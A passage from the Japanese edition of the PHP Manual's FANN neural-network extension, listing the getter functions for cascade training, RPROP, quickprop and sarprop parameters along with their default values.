The number of activation steepnesses, or false on error.

参考

  • fann_get_cascade_activation_steepnesses() - Returns the cascade activation steepnesses
  • fann_set_cascade_activation_functions() - Sets the array of cascade candidate activation functions

User Contributed Notes

There are no user contributed notes for this page.


Returns the cascade activation steepnesses

  • ≪ fann_get_cascade_activation_steepnesses_count
  • fann_get_cascade_candidate_change_fraction ≫
  • PHP Manual
  • Fann 関数
  • Returns the cascade activation steepnesses

fann_get_cascade_activation_steepnesses

(PECL fann >= 1.0.0)

fann_get_cascade_activation_steepnesses — Returns the cascade activation steepnesses

説明

fann_get_cascade_activation_steepnesses ( resource $ann ) : array

The cascade activation steepnesses array is an array of the different activation functions used by the candidates.

See fann_get_cascade_num_candidates() for a description of which candidate neurons will be generated by this array.

The default activation steepnesses are {0.25, 0.50, 0.75, 1.00}.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The cascade activation steepnesses, or false on error.

参考

  • fann_get_cascade_activation_steepnesses_count() - The number of activation steepnesses
  • fann_set_cascade_activation_steepnesses() - Sets the array of cascade candidate activation steepnesses

User Contributed Notes

There are no user contributed notes for this page.


Returns the cascade candidate change fraction

  • ≪ fann_get_cascade_activation_steepnesses
  • fann_get_cascade_candidate_limit ≫
  • PHP Manual
  • Fann 関数
  • Returns the cascade candidate change fraction

fann_get_cascade_candidate_change_fraction

(PECL fann >= 1.0.0)

fann_get_cascade_candidate_change_fraction — Returns the cascade candidate change fraction

説明

fann_get_cascade_candidate_change_fraction ( resource $ann ) : float

The cascade candidate change fraction is a number between 0 and 1 determining how large a fraction the fann_get_MSE() value should change within fann_get_cascade_candidate_stagnation_epochs() during training of the candidate neurons, in order for the training not to stagnate. If the training stagnates, the training of the candidate neurons will be ended and the best candidate will be selected.

It means that if the MSE does not change by a fraction of fann_get_cascade_candidate_change_fraction() during a period of fann_get_cascade_candidate_stagnation_epochs(), the training of the candidate neurons is stopped because the training has stagnated.

If the cascade candidate change fraction is low, the candidate neurons will be trained more and if the fraction is high they will be trained less.

The default cascade candidate change fraction is 0.01, which is equalent to a 1% change in MSE.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The cascade candidate change fraction, or false on error.

参考

  • fann_set_cascade_candidate_change_fraction() - Sets the cascade candidate change fraction
  • fann_get_MSE() - Reads the mean square error from the network
  • fann_get_cascade_candidate_stagnation_epochs() - Returns the number of cascade candidate stagnation epochs

User Contributed Notes

There are no user contributed notes for this page.


Return the candidate limit

  • ≪ fann_get_cascade_candidate_change_fraction
  • fann_get_cascade_candidate_stagnation_epochs ≫
  • PHP Manual
  • Fann 関数
  • Return the candidate limit

fann_get_cascade_candidate_limit

(PECL fann >= 1.0.0)

fann_get_cascade_candidate_limit — Return the candidate limit

説明

fann_get_cascade_candidate_limit ( resource $ann ) : float

The candidate limit is a limit for how much the candidate neuron may be trained. The limit is a limit on the proportion between the MSE and candidate score.

Set this to a lower value to avoid overfitting and to a higher if overfitting is not a problem.

The default candidate limit is 1000.0.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The candidate limit, or false on error.

参考

  • fann_set_cascade_candidate_limit() - Sets the candidate limit

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of cascade candidate stagnation epochs

  • ≪ fann_get_cascade_candidate_limit
  • fann_get_cascade_max_cand_epochs ≫
  • PHP Manual
  • Fann 関数
  • Returns the number of cascade candidate stagnation epochs

fann_get_cascade_candidate_stagnation_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_candidate_stagnation_epochs — Returns the number of cascade candidate stagnation epochs

説明

fann_get_cascade_candidate_stagnation_epochs ( resource $ann ) : int

The number of cascade candidate stagnation epochs determines the number of epochs training is allowed to continue without changing the MSE by a fraction of fann_get_cascade_candidate_change_fraction().

See more info about this parameter in fann_get_cascade_candidate_change_fraction().

The default number of cascade candidate stagnation epochs is 12.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The number of cascade candidate stagnation epochs, or false on error.

参考

  • fann_set_cascade_candidate_stagnation_epochs() - Sets the number of cascade candidate stagnation epochs
  • fann_get_cascade_candidate_change_fraction() - Returns the cascade candidate change fraction

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum candidate epochs

  • ≪ fann_get_cascade_candidate_stagnation_epochs
  • fann_get_cascade_max_out_epochs ≫
  • PHP Manual
  • Fann 関数
  • Returns the maximum candidate epochs

fann_get_cascade_max_cand_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_max_cand_epochs — Returns the maximum candidate epochs

説明

fann_get_cascade_max_cand_epochs ( resource $ann ) : int

The maximum candidate epochs determines the maximum number of epochs the input connections to the candidates may be trained before adding a new candidate neuron.

The default max candidate epochs is 150.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The maximum candidate epochs, or false on error.

参考

  • fann_set_cascade_max_cand_epochs() - Sets the max candidate epochs

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum out epochs

  • ≪ fann_get_cascade_max_cand_epochs
  • fann_get_cascade_min_cand_epochs ≫
  • PHP Manual
  • Fann 関数
  • Returns the maximum out epochs

fann_get_cascade_max_out_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_max_out_epochs — Returns the maximum out epochs

説明

fann_get_cascade_max_out_epochs ( resource $ann ) : int

The maximum out epochs determines the maximum number of epochs the output connections may be trained after adding a new candidate neuron.

The default max out epochs is 150.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The maximum out epochs, or false on error.

参考

  • fann_set_cascade_max_out_epochs() - Sets the maximum out epochs

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum candidate epochs

  • ≪ fann_get_cascade_max_out_epochs
  • fann_get_cascade_min_out_epochs ≫
  • PHP Manual
  • Fann 関数
  • Returns the minimum candidate epochs

fann_get_cascade_min_cand_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_min_cand_epochs — Returns the minimum candidate epochs

説明

fann_get_cascade_min_cand_epochs ( resource $ann ) : int

The minimum candidate epochs determines the minimum number of epochs the input connections to the candidates may be trained before adding a new candidate neuron.

The default min candidate epochs is 50.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The minimum candidate epochs, or false on error.

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_set_cascade_min_cand_epochs() - Sets the min candidate epochs

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum out epochs

  • ≪ fann_get_cascade_min_cand_epochs
  • fann_get_cascade_num_candidate_groups ≫
  • PHP Manual
  • Fann 関数
  • Returns the minimum out epochs

fann_get_cascade_min_out_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_min_out_epochs — Returns the minimum out epochs

説明

fann_get_cascade_min_out_epochs ( resource $ann ) : int

The minimum out epochs determines the minimum number of epochs the output connections must be trained after adding a new candidate neuron.

The default min out epochs is 50.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The minimum out epochs, or false on error.

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_set_cascade_min_out_epochs() - Sets the minimum out epochs

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of candidate groups

  • ≪ fann_get_cascade_min_out_epochs
  • fann_get_cascade_num_candidates ≫
  • PHP Manual
  • Fann 関数
  • Returns the number of candidate groups

fann_get_cascade_num_candidate_groups

(PECL fann >= 1.0.0)

fann_get_cascade_num_candidate_groups — Returns the number of candidate groups

説明

fann_get_cascade_num_candidate_groups ( resource $ann ) : int

The number of candidate groups is the number of groups of identical candidates which will be used during training.

This number can be used to have more candidates without having to define new parameters for the candidates.

See fann_get_cascade_num_candidates() for a description of which candidate neurons will be generated by this parameter.

The default number of candidate groups is 2.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The number of candidate groups, or false on error.

参考

  • fann_set_cascade_num_candidate_groups() - Sets the number of candidate groups

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of candidates used during training

  • ≪ fann_get_cascade_num_candidate_groups
  • fann_get_cascade_output_change_fraction ≫
  • PHP Manual
  • Fann 関数
  • Returns the number of candidates used during training

fann_get_cascade_num_candidates

(PECL fann >= 1.0.0)

fann_get_cascade_num_candidates — Returns the number of candidates used during training

説明

fann_get_cascade_num_candidates ( resource $ann ) : int

The number of candidates used during training (calculated by multiplying
fann_get_cascade_activation_functions_count(),
fann_get_cascade_activation_steepnesses_count() and
fann_get_cascade_num_candidate_groups()).

The actual candidates is defined by the fann_get_cascade_activation_functions() and fann_get_cascade_activation_steepnesses() arrays. These arrays define the activation functions and activation steepnesses used for the candidate neurons. If there are 2 activation functions in the activation function array and 3 steepnesses in the steepness array, then there will be 2x3=6 different candidates which will be trained. These 6 different candidates can be copied into several candidate groups, where the only difference between these groups is the initial weights. If the number of groups is set to 2, then the number of candidate neurons will be 2x3x2=12. The number of candidate groups is defined by fann_set_cascade_num_candidate_groups().

The default number of candidates is 6x4x2 = 48

パラメータ

ann

ニューラルネットワークリソース。

返り値

The number of candidates used during training, or false on error.

参考

  • fann_get_cascade_activation_functions() - Returns the cascade activation functions
  • fann_get_cascade_activation_functions_count() - Returns the number of cascade activation functions
  • fann_get_cascade_activation_steepnesses() - Returns the cascade activation steepnesses
  • fann_get_cascade_activation_steepnesses_count() - The number of activation steepnesses
  • fann_get_cascade_num_candidate_groups() - Returns the number of candidate groups

User Contributed Notes

There are no user contributed notes for this page.


Returns the cascade output change fraction

  • ≪ fann_get_cascade_num_candidates
  • fann_get_cascade_output_stagnation_epochs ≫
  • PHP Manual
  • Fann 関数
  • Returns the cascade output change fraction

fann_get_cascade_output_change_fraction

(PECL fann >= 1.0.0)

fann_get_cascade_output_change_fraction — Returns the cascade output change fraction

説明

fann_get_cascade_output_change_fraction ( resource $ann ) : float

The cascade output change fraction is a number between 0 and 1 determining how large a fraction of the fann_get_MSE() value should change within fann_get_cascade_output_stagnation_epochs() during training of the output connections, in order for the training not to stagnate. If the training stagnates, the training of the output connections will be ended and new candidates will be prepared.

It means that if the MSE does not change by a fraction of fann_get_cascade_output_change_fraction() during a period of fann_get_cascade_output_stagnation_epochs(), the training of the output connections is stopped because the training has stagnated.

If the cascade output change fraction is low, the output connections will be trained more and if the fraction is high, they will be trained less.

The default cascade output change fraction is 0.01, which is equalent to a 1% change in MSE.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The cascade output change fraction, or false on error.

参考

  • fann_set_cascade_output_change_fraction() - Sets the cascade output change fraction
  • fann_get_MSE() - Reads the mean square error from the network
  • fann_get_cascade_output_stagnation_epochs() - Returns the number of cascade output stagnation epochs

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of cascade output stagnation epochs

  • ≪ fann_get_cascade_output_change_fraction
  • fann_get_cascade_weight_multiplier ≫
  • PHP Manual
  • Fann 関数
  • Returns the number of cascade output stagnation epochs

fann_get_cascade_output_stagnation_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_output_stagnation_epochs — Returns the number of cascade output stagnation epochs

説明

fann_get_cascade_output_stagnation_epochs ( resource $ann ) : int

The number of cascade output stagnation epochs determines the number of epochs training is allowed to continue without changing the MSE by a fraction of fann_get_cascade_output_change_fraction().

See more info about this parameter in fann_get_cascade_output_change_fraction().

The default number of cascade output stagnation epochs is 12.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The number of cascade output stagnation epochs, or false on error.

参考

  • fann_set_cascade_output_stagnation_epochs() - Sets the number of cascade output stagnation epochs
  • fann_get_cascade_output_change_fraction() - Returns the cascade output change fraction

User Contributed Notes

There are no user contributed notes for this page.


Returns the weight multiplier

  • ≪ fann_get_cascade_output_stagnation_epochs
  • fann_get_connection_array ≫
  • PHP Manual
  • Fann 関数
  • Returns the weight multiplier

fann_get_cascade_weight_multiplier

(PECL fann >= 1.0.0)

fann_get_cascade_weight_multiplier — Returns the weight multiplier

説明

fann_get_cascade_weight_multiplier ( resource $ann ) : float

The weight multiplier is a parameter which is used to multiply the weights from the candidate neuron before adding the neuron to the neural network. This parameter is usually between 0 and 1, and is used to make the training a bit less aggressive.

The default weight multiplier is 0.4.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The weight multiplier, or false on error.

参考

  • fann_set_cascade_weight_multiplier() - Sets the weight multiplier

User Contributed Notes

There are no user contributed notes for this page.


Get connections in the network

  • ≪ fann_get_cascade_weight_multiplier
  • fann_get_connection_rate ≫
  • PHP Manual
  • Fann 関数
  • Get connections in the network

fann_get_connection_array

(PECL fann >= 1.0.0)

fann_get_connection_array — Get connections in the network

説明

fann_get_connection_array ( resource $ann ) : array

Get connections in the network.

パラメータ

ann

ニューラルネットワークリソース。

返り値

An array of connections in the network

User Contributed Notes

There are no user contributed notes for this page.


Get the connection rate used when the network was created

  • ≪ fann_get_connection_array
  • fann_get_errno ≫
  • PHP Manual
  • Fann 関数
  • Get the connection rate used when the network was created

fann_get_connection_rate

(PECL fann >= 1.0.0)

fann_get_connection_rate — Get the connection rate used when the network was created

説明

fann_get_connection_rate ( resource $ann ) : float

Get the connection rate used when the network was created.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The connection rate used when the network was created, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the last error number

  • ≪ fann_get_connection_rate
  • fann_get_errstr ≫
  • PHP Manual
  • Fann 関数
  • Returns the last error number

fann_get_errno

(PECL fann >= 1.0.0)

fann_get_errno — Returns the last error number

説明

fann_get_errno ( resource $errdat ) : int

Returns the last error number.

パラメータ

errdat

ニューラルネットワークリソースあるいはニューラルネットワークトレーニングリソース。

返り値

The error number, or false on error.

参考

  • fann_reset_errno() - Resets the last error number
  • fann_get_errstr() - Returns the last errstr

User Contributed Notes

There are no user contributed notes for this page.


Returns the last errstr

  • ≪ fann_get_errno
  • fann_get_layer_array ≫
  • PHP Manual
  • Fann 関数
  • Returns the last errstr

fann_get_errstr

(PECL fann >= 1.0.0)

fann_get_errstr — Returns the last errstr

説明

fann_get_errstr ( resource $errdat ) : string

Returns the last errstr.

パラメータ

errdat

ニューラルネットワークリソースあるいはニューラルネットワークトレーニングリソース。

返り値

The last error string, or false on error.

参考

  • fann_reset_errstr() - Resets the last error string
  • fann_get_errno() - Returns the last error number

User Contributed Notes

There are no user contributed notes for this page.


Get the number of neurons in each layer in the network

  • ≪ fann_get_errstr
  • fann_get_learning_momentum ≫
  • PHP Manual
  • Fann 関数
  • Get the number of neurons in each layer in the network

fann_get_layer_array

(PECL fann >= 1.0.0)

fann_get_layer_array — Get the number of neurons in each layer in the network

説明

fann_get_layer_array ( resource $ann ) : array

Get the number of neurons in each layer in the neural network.

Bias is not included so the layers match the fann_create functions.

パラメータ

ann

ニューラルネットワークリソース。

返り値

An array of numbers of neurons in each leayer

User Contributed Notes

There are no user contributed notes for this page.


Returns the learning momentum

  • ≪ fann_get_layer_array
  • fann_get_learning_rate ≫
  • PHP Manual
  • Fann 関数
  • Returns the learning momentum

fann_get_learning_momentum

(PECL fann >= 1.0.0)

fann_get_learning_momentum — Returns the learning momentum

説明

fann_get_learning_momentum ( resource $ann ) : float

The learning momentum can be used to speed up FANN_TRAIN_INCREMENTAL training. A too high momentum will however not benefit training. Setting momentum to 0 will be the same as not using the momentum parameter. The recommended value of this parameter is between 0.0 and 1.0.

The default momentum is 0.

パラメータ

ann

ニューラルネットワークリソース。

返り値

成功した場合に true、それ以外の場合に false を返します。

The learning momentum, or false on error.

参考

  • fann_set_learning_momentum() - Sets the learning momentum
  • fann_set_training_algorithm() - Sets the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Returns the learning rate

  • ≪ fann_get_learning_momentum
  • fann_get_MSE ≫
  • PHP Manual
  • Fann 関数
  • Returns the learning rate

fann_get_learning_rate

(PECL fann >= 1.0.0)

fann_get_learning_rate — Returns the learning rate

説明

fann_get_learning_rate ( resource $ann ) : float

The learning rate is used to determine how aggressive training should be for some of the training algorithms (FANN_TRAIN_INCREMENTAL, FANN_TRAIN_BATCH, FANN_TRAIN_QUICKPROP). Do however note that it is not used in FANN_TRAIN_RPROP.

The default learning rate is 0.7.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The learning rate, or false on error.

参考

  • fann_set_learning_rate() - Sets the learning rate
  • fann_set_training_algorithm() - Sets the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Reads the mean square error from the network

  • ≪ fann_get_learning_rate
  • fann_get_network_type ≫
  • PHP Manual
  • Fann 関数
  • Reads the mean square error from the network

fann_get_MSE

(PECL fann >= 1.0.0)

fann_get_MSE — Reads the mean square error from the network

説明

fann_get_MSE ( resource $ann ) : float

Reads the mean square error from the network.

Reads the mean square error from the network. This value is calculated during training or testing and can therefore sometimes be a bit off if the weights have been changed since the last calculation of the value.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The mean square error, or false on error.

参考

  • fann_test_data() - Test a set of training data and calculates the MSE for the training data

User Contributed Notes

There are no user contributed notes for this page.


Get the type of neural network it was created as

  • ≪ fann_get_MSE
  • fann_get_num_input ≫
  • PHP Manual
  • Fann 関数
  • Get the type of neural network it was created as

fann_get_network_type

(PECL fann >= 1.0.0)

fann_get_network_type — Get the type of neural network it was created as

説明

fann_get_network_type ( resource $ann ) : int

Get the type of neural network it was created as.

パラメータ

ann

ニューラルネットワークリソース。

返り値

Network type constant, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the number of input neurons

  • ≪ fann_get_network_type
  • fann_get_num_layers ≫
  • PHP Manual
  • Fann 関数
  • Get the number of input neurons

fann_get_num_input

(PECL fann >= 1.0.0)

fann_get_num_input — Get the number of input neurons

説明

fann_get_num_input ( resource $ann ) : int

Get the number of input neurons.

パラメータ

ann

ニューラルネットワークリソース。

返り値

Number of input neurons, or false on error

User Contributed Notes

There are no user contributed notes for this page.


Get the number of layers in the neural network

  • ≪ fann_get_num_input
  • fann_get_num_output ≫
  • PHP Manual
  • Fann 関数
  • Get the number of layers in the neural network

fann_get_num_layers

(PECL fann >= 1.0.0)

fann_get_num_layers — Get the number of layers in the neural network

説明

fann_get_num_layers ( resource $ann ) : int

Get the number of layers in the neural network.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The number of leayers in the neural network, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the number of output neurons

  • ≪ fann_get_num_layers
  • fann_get_quickprop_decay ≫
  • PHP Manual
  • Fann 関数
  • Get the number of output neurons

fann_get_num_output

(PECL fann >= 1.0.0)

fann_get_num_output — Get the number of output neurons

説明

fann_get_num_output ( resource $ann ) : int

Get the number of output neurons.

パラメータ

ann

ニューラルネットワークリソース。

返り値

Number of output neurons, or false on error

User Contributed Notes

There are no user contributed notes for this page.


Returns the decay which is a factor that weights should decrease in each iteration during quickprop training

  • ≪ fann_get_num_output
  • fann_get_quickprop_mu ≫
  • PHP Manual
  • Fann 関数
  • Returns the decay which is a factor that weights should decrease in each iteration during quickprop training

fann_get_quickprop_decay

(PECL fann >= 1.0.0)

fann_get_quickprop_decay — Returns the decay which is a factor that weights should decrease in each iteration during quickprop training

説明

fann_get_quickprop_decay ( resource $ann ) : float

The decay is a small negative valued number which is a factor that the weights should decrease in each iteration during quickprop training. This is used to make sure that the weights do not become too high during training.

The default decay is -0.0001.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The decay, or false on error.

参考

  • fann_set_quickprop_decay() - Sets the quickprop decay factor

User Contributed Notes

There are no user contributed notes for this page.


Returns the mu factor

  • ≪ fann_get_quickprop_decay
  • fann_get_rprop_decrease_factor ≫
  • PHP Manual
  • Fann 関数
  • Returns the mu factor

fann_get_quickprop_mu

(PECL fann >= 1.0.0)

fann_get_quickprop_mu — Returns the mu factor

説明

fann_get_quickprop_mu ( resource $ann ) : float

The mu factor is used to increase and decrease the step-size during quickprop training. The mu factor should always be above 1, since it would otherwise decrease the step-size when it was suppose to increase it.

The default mu factor is 1.75.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The mu factor, or false on error.

参考

  • fann_set_quickprop_mu() - Sets the quickprop mu factor

User Contributed Notes

There are no user contributed notes for this page.


Returns the increase factor used during RPROP training

  • ≪ fann_get_quickprop_mu
  • fann_get_rprop_delta_max ≫
  • PHP Manual
  • Fann 関数
  • Returns the increase factor used during RPROP training

fann_get_rprop_decrease_factor

(PECL fann >= 1.0.0)

fann_get_rprop_decrease_factor — Returns the increase factor used during RPROP training

説明

fann_get_rprop_decrease_factor ( resource $ann ) : float

The decrease factor is a value smaller than 1, which is used to decrease the step-size during RPROP training.

The default decrease factor is 0.5.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The decrease factor, or false on error.

参考

  • fann_set_rprop_decrease_factor() - Sets the decrease factor used during RPROP training

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum step-size

  • ≪ fann_get_rprop_decrease_factor
  • fann_get_rprop_delta_min ≫
  • PHP Manual
  • Fann 関数
  • Returns the maximum step-size

fann_get_rprop_delta_max

(PECL fann >= 1.0.0)

fann_get_rprop_delta_max — Returns the maximum step-size

説明

fann_get_rprop_delta_max ( resource $ann ) : float

The maximum step-size is a positive number determining how large the maximum step-size may be.

The default delta max is 50.0.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The maximum step-size, or false on error.

参考

  • fann_set_rprop_delta_max() - Sets the maximum step-size
  • fann_get_rprop_delta_min() - Returns the minimum step-size

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum step-size

  • ≪ fann_get_rprop_delta_max
  • fann_get_rprop_delta_zero ≫
  • PHP Manual
  • Fann 関数
  • Returns the minimum step-size

fann_get_rprop_delta_min

(PECL fann >= 1.0.0)

fann_get_rprop_delta_min — Returns the minimum step-size

説明

fann_get_rprop_delta_min ( resource $ann ) : float

The minimum step-size is a small positive number determining how small the minimum step-size may be.

The default value delta min is 0.0.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The minimum step-size, or false on error.

参考

  • fann_set_rprop_delta_min() - Sets the minimum step-size

User Contributed Notes

There are no user contributed notes for this page.


Returns the initial step-size

  • ≪ fann_get_rprop_delta_min
  • fann_get_rprop_increase_factor ≫
  • PHP Manual
  • Fann 関数
  • Returns the initial step-size

fann_get_rprop_delta_zero

(PECL fann >= 1.0.0)

fann_get_rprop_delta_zero — Returns the initial step-size

説明

fann_get_rprop_delta_zero ( resource $ann ) : int

The initial step-size is a positive number determining the initial step size.

The default delta zero is 0.1.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The initial step-size, or false on error.

参考

  • fann_set_rprop_delta_zero() - Sets the initial step-size
  • fann_get_rprop_delta_min() - Returns the minimum step-size
  • fann_get_rprop_delta_max() - Returns the maximum step-size

User Contributed Notes

There are no user contributed notes for this page.


Returns the increase factor used during RPROP training

  • ≪ fann_get_rprop_delta_zero
  • fann_get_sarprop_step_error_shift ≫
  • PHP Manual
  • Fann 関数
  • Returns the increase factor used during RPROP training

fann_get_rprop_increase_factor

(PECL fann >= 1.0.0)

fann_get_rprop_increase_factor — Returns the increase factor used during RPROP training

説明

fann_get_rprop_increase_factor ( resource $ann ) : float

The increase factor is a value larger than 1, which is used to increase the step-size during RPROP training.

The default increase factor is 1.2.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The increase factor, or false on error.

参考

  • fann_set_rprop_increase_factor() - Sets the increase factor used during RPROP training

User Contributed Notes

There are no user contributed notes for this page.


Returns the sarprop step error shift

  • ≪ fann_get_rprop_increase_factor
  • fann_get_sarprop_step_error_threshold_factor ≫
  • PHP Manual
  • Fann 関数
  • Returns the sarprop step error shift

fann_get_sarprop_step_error_shift

(PECL fann >= 1.0.0)

fann_get_sarprop_step_error_shift — Returns the sarprop step error shift

説明

fann_get_sarprop_step_error_shift ( resource $ann ) : float

Returns the sarprop step error shift.

The default step error shift is 1.385.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The sarprop step error shift , or false on error.

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_set_sarprop_step_error_shift() - Sets the sarprop step error shift

User Contributed Notes

There are no user contributed notes for this page.


Returns the sarprop step error threshold factor

  • ≪ fann_get_sarprop_step_error_shift
  • fann_get_sarprop_temperature ≫
  • PHP Manual
  • Fann 関数
  • Returns the sarprop step error threshold factor

fann_get_sarprop_step_error_threshold_factor

(PECL fann >= 1.0.0)

fann_get_sarprop_step_error_threshold_factor — Returns the sarprop step error threshold factor

説明

fann_get_sarprop_step_error_threshold_factor ( resource $ann ) : float

The sarprop step error threshold factor.

The default factor is 0.1.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The sarprop step error threshold factor, or false on error.

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_set_sarprop_step_error_threshold_factor() - Sets the sarprop step error threshold factor

User Contributed Notes

There are no user contributed notes for this page.


Returns the sarprop temperature

  • ≪ fann_get_sarprop_step_error_threshold_factor
  • fann_get_sarprop_weight_decay_shift ≫
  • PHP Manual
  • Fann 関数
  • Returns the sarprop temperature

fann_get_sarprop_temperature

(PECL fann >= 1.0.0)

fann_get_sarprop_temperature — Returns the sarprop temperature

説明

fann_get_sarprop_temperature ( resource $ann ) : float

Returns the sarprop temperature.

The default temperature is 0.015.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The sarprop temperature, or false on error.

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_set_sarprop_temperature() - Sets the sarprop temperature

User Contributed Notes

There are no user contributed notes for this page.


Returns the sarprop weight decay shift

  • ≪ fann_get_sarprop_temperature
  • fann_get_total_connections ≫
  • PHP Manual
  • Fann 関数
  • Returns the sarprop weight decay shift

fann_get_sarprop_weight_decay_shift

(PECL fann >= 1.0.0)

fann_get_sarprop_weight_decay_shift — Returns the sarprop weight decay shift

説明

fann_get_sarprop_weight_decay_shift ( resource $ann ) : float

The sarprop weight decay shift.

The default delta max is -6.644.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The sarprop weight decay shift, or false on error.

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_set_sarprop_weight_decay_shift() - Sets the sarprop weight decay shift

User Contributed Notes

There are no user contributed notes for this page.


Get the total number of connections in the entire network

  • ≪ fann_get_sarprop_weight_decay_shift
  • fann_get_total_neurons ≫
  • PHP Manual
  • Fann 関数
  • Get the total number of connections in the entire network

fann_get_total_connections

(PECL fann >= 1.0.0)

fann_get_total_connections — Get the total number of connections in the entire network

説明

fann_get_total_connections ( resource $ann ) : int

Get the total number of connections in the entire network.

パラメータ

ann

ニューラルネットワークリソース。

返り値

Total number of connections in the entire network, or false on error

User Contributed Notes

There are no user contributed notes for this page.


Get the total number of neurons in the entire network

  • ≪ fann_get_total_connections
  • fann_get_train_error_function ≫
  • PHP Manual
  • Fann 関数
  • Get the total number of neurons in the entire network

fann_get_total_neurons

(PECL fann >= 1.0.0)

fann_get_total_neurons — Get the total number of neurons in the entire network

説明

fann_get_total_neurons ( resource $ann ) : int

Get the total number of neurons in the entire network. This number does also include the bias neurons, so a 2-4-2 network has 2+4+2 +2(bias) = 10 neurons.

パラメータ

ann

ニューラルネットワークリソース。

返り値

Total number of neurons in the entire network, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the error function used during training

  • ≪ fann_get_total_neurons
  • fann_get_train_stop_function ≫
  • PHP Manual
  • Fann 関数
  • Returns the error function used during training

fann_get_train_error_function

(PECL fann >= 1.0.0)

fann_get_train_error_function — Returns the error function used during training

説明

fann_get_train_error_function ( resource $ann ) : int

Returns the error function used during training.

The error functions are described further in error functions constants.

The default error function is FANN_ERRORFUNC_TANH.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The error function constant, or false on error.

参考

  • fann_set_train_error_function() - Sets the error function used during training

User Contributed Notes

There are no user contributed notes for this page.


Returns the stop function used during training

  • ≪ fann_get_train_error_function
  • fann_get_training_algorithm ≫
  • PHP Manual
  • Fann 関数
  • Returns the stop function used during training

fann_get_train_stop_function

(PECL fann >= 1.0.0)

fann_get_train_stop_function — Returns the stop function used during training

説明

fann_get_train_stop_function ( resource $ann ) : int

Returns the stop function used during training.

The stop functions are described further in stop functions constants.

The default stop function is FANN_STOPFUNC_MSE.

パラメータ

ann

ニューラルネットワークリソース。

返り値

The stop function constant, or false on error.

参考

  • fann_set_train_stop_function() - Sets the stop function used during training

User Contributed Notes

There are no user contributed notes for this page.


Returns the training algorithm

  • ≪ fann_get_train_stop_function
  • fann_init_weights ≫
  • PHP Manual
  • Fann 関数
  • Returns the training algorithm

fann_get_training_algorithm

(PECL fann >= 1.0.0)

fann_get_training_algorithm — Returns the training algorithm

説明

fann_get_training_algorithm ( resource $ann ) : int

Returns the training algorithm. This training algorithm is used by fann_train_on_data() and associated functions.

Note that this algorithm is also used during fann_cascadetrain_on_data(), although only FANN_TRAIN_RPROP and FANN_TRAIN_QUICKPROP is allowed during cascade training.

パラメータ

ann

ニューラルネットワークリソース。

返り値

Training algorithm constant, or false on error.

参考

  • fann_set_training_algorithm() - Sets the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Initialize the weights using Widrow + Nguyen’s algorithm

  • ≪ fann_get_training_algorithm
  • fann_length_train_data ≫
  • PHP Manual
  • Fann 関数
  • Initialize the weights using Widrow + Nguyen’s algorithm

fann_init_weights

(PECL fann >= 1.0.0)

fann_init_weights — Initialize the weights using Widrow + Nguyen's algorithm

説明

fann_init_weights ( resource $ann , resource $train_data ) : bool

Initialize the weights using Widrow + Nguyen's algorithm.

This function behaves similarly to fann_randomize_weights(). It will use the algorithm developed by Derrick Nguyen and Bernard Widrow to set the weights in such a way as to speed up training. This technique is not always successful, and in some cases can be less efficient than a purely random initialization.

The algorithm requires access to the range of the input data (for example largest and smallest input), and therefore accepts a second argument, data, which is the training data that will be used to train the network.

パラメータ

